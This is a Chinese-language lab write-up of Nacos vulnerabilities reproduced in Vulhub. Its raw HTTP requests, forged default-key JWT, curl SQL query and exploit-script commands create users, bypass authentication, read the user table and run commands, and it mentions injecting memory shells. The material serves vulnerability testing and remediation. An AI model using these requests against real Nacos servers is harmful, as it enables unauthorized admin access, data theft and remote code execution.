文章目录
一、权限绕过类
1.1 Nacos默认配置未授权访问漏洞——nacos.core.auth.enabled = false
漏洞原理:默认未开启配置nacos.core.auth.enabled
http://192.168.52.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
http://192.168.52.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken
修复方案:配置文件修改为:nacos.core.auth.enabled=True
。
1.2 Nacos 认证绕过漏洞(CVE-2021-29441)——User-Agent绕过鉴权
漏洞原理:配置文件中nacos.core.auth.enable.userAgentAuthWhite = true
,就会获取请求头中UserAgent的值,然后判断是否是以字符串Nacos-Server
为开头,若是则直接跳过鉴权。
影响版本:Nacos <= 2.0.0-ALPHA.1
使用Vulhub搭建好环境好,访问192.168.92.1/nacos/#/login
,可以看到nacos的登录界面。
手动验证:User-Agent: Nacos-Server
1、检测漏洞是否存在,可以看到返回值为200,且内容中是否包含pageItems(nacos中已注册的用户)
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.92.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
2、添加新用户
POST /nacos/v1/auth/users?username=vulhub&password=vulhub HTTP/1.1
Host: 192.168.92.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
使用脚本进行验证:
# 创建新用户vulhub/vulhub
python3 CVE-2021-29441.py -t http://your-ip:8848
使用工具进行验证:
1.3 Nacos默认key导致权限绕过登陆(QVD-2023-6271)
漏洞原理:开启了nacos.core.auth.enabled
的情况下,如果未修改默认nacos.core.auth.default.token.secret.key
,则可以生产accessToken值来绕过权限。相关配置文件如下:
### If turn on auth system:
nacos.core.auth.enabled=true
### The default token:
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
影响版本:0.1.0 <= Nacos <= 2.2.0
在nacos中,token.secret.key
值是固定死的,位置在conf下的application.properties
中:
# nacos默认key:
SecretKey012345678901234567890123456789012345678901234567890123456789
1.3.1 获取token
在https://jwt.io中输入密钥key
,exp
为时间戳。
注意:
Secret base64 encoded
。
# 请求包
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.52.1:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU
username=crowsec&password=crowsec
# 返回包
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: http://10.211.55.5:8848
Access-Control-Allow-Credentials: true
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU
Content-Type: application/json;charset=UTF-8
Date: Sat, 17 Aug 2024 14:37:23 GMT
Connection: close
Content-Length: 181
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU","tokenTtl":18000,"globalAdmin":true}
1.3.2 利用获取token登录后台
重新登录,并拦截数据包
抓取返回包,并且使用下列返回包替换。
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: http://10.211.55.5:8848
Access-Control-Allow-Credentials: true
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU
Content-Type: application/json;charset=UTF-8
Date: Sat, 17 Aug 2024 14:37:23 GMT
Connection: close
Content-Length: 181
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU","tokenTtl":18000,"globalAdmin":true}
注意:要Forward
,不能直接关闭拦截器intercept is on
。
工具验证:
1.4 Nacos身份认证serverIdentity绕过
漏洞原理:判断是否开启nacos.core.auth.enabled
和是否开启userAgentAuthWhite
,然后是对配置文件是否配置了identity.key&identity.value
,相关配置文件如下:
### If turn on auth system:
nacos.core.auth.enabled=true
### Since 1.4.1, Turn on/off white auth for user-agent: nacos-server, only for upgrade from old version.
nacos.core.auth.enable.userAgentAuthWhite=false
### Since 1.4.1, worked when nacos.core.auth.enabled=true and nacos.core.auth.enable.userAgentAuthWhite=false.
### The two properties is the white list for auth and used by identity the request from other server.
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security
### The default token (Base64 String) and len(key)>32:
nacos.core.auth.plugin.nacos.token.secret.key=MTIzNDU2Nzg5MTIzMTI0MzIxNDM2NTRmYmRmMzI0c2R2c2Rh
identity.key&identity.value
的值其实是自定义的,这个安全隐患更像弱口令。
二、Nacos Jraft Hessian 反序列化漏洞(CNVD-2023-45001)
漏洞描述: nacos默认的7848端口是用来处理集群模式下raft协议的通信,该端口的服务在处理部分jraft请求的时候使用hessian传输协议进行反序列化过滤不严,导致RCE。
影响版本:
- 1.4.0 <= Nacos < 1.4.6(使用cluster集群模式运行)
- 2.0.0 <= Nacos < 2.2.3(任意模式运行)
docker pull nacos/nacos-server:2.0.0 # 拉取2.0.0版本的nacos
docker run --name nacos -d -p 8848:8848 -p 7848:7848 e MODE=standalone nacos/nacos-server
虽然,官方说standalone模式会默认开启7848端口,但是哟个docker启动时,需要手动映射。
访问http://192.168.92.1:8848
,可以看到当前版本为2.0.0。
脚本验证是否存在Jraft Hessian 反序列化漏洞:
直接使用工具注入内存马:
冰蝎连接内存马
哥斯拉连接内存马
三、Nacos Derby SQL注入漏洞(CNVD-2020-67618)
漏洞原理:nacos带有一个嵌入式的小型数据库derby,而在版本<=1.4.0的默认配置部署nacos的情况下,它无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露。
影响版本:Nacos <= 1.4.0
手工验证:
curl -XGET "http://192.168.92.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20"
或者发送以下数据包:
GET /nacos/v1/cs/ops/derby?sql=%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73 HTTP/1.1
Host: 192.168.92.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
四、Nacos 未授权接口命令执行漏洞(CVE-2021-29442)
漏洞原理:这个漏洞其实可以说是CVE-2021-29442的更深层次利用,在上文中我们分析了,Derby未授权SQL注入利用的是/derby这个路由,但是限制了语句必须为select开头的即查询语句,而仅仅是查询语句就无法RCE。所以Derby RCE的这个漏洞是利用removal接口在完成这个利用链完成derby注入的深入利用(最开始出来的打法用到的是CALL sqlj.install_jar
简单来说就是将远程服务器上的jar包导入数据库,就可以动态调用类中的static方法),也就是所谓组合拳RCE。
使用vulhub搭建环境:
# 会返回目标服务器的进程信息
python3 CVE-2021-29442.py -t http://your-ip:8848 -c "ps aux"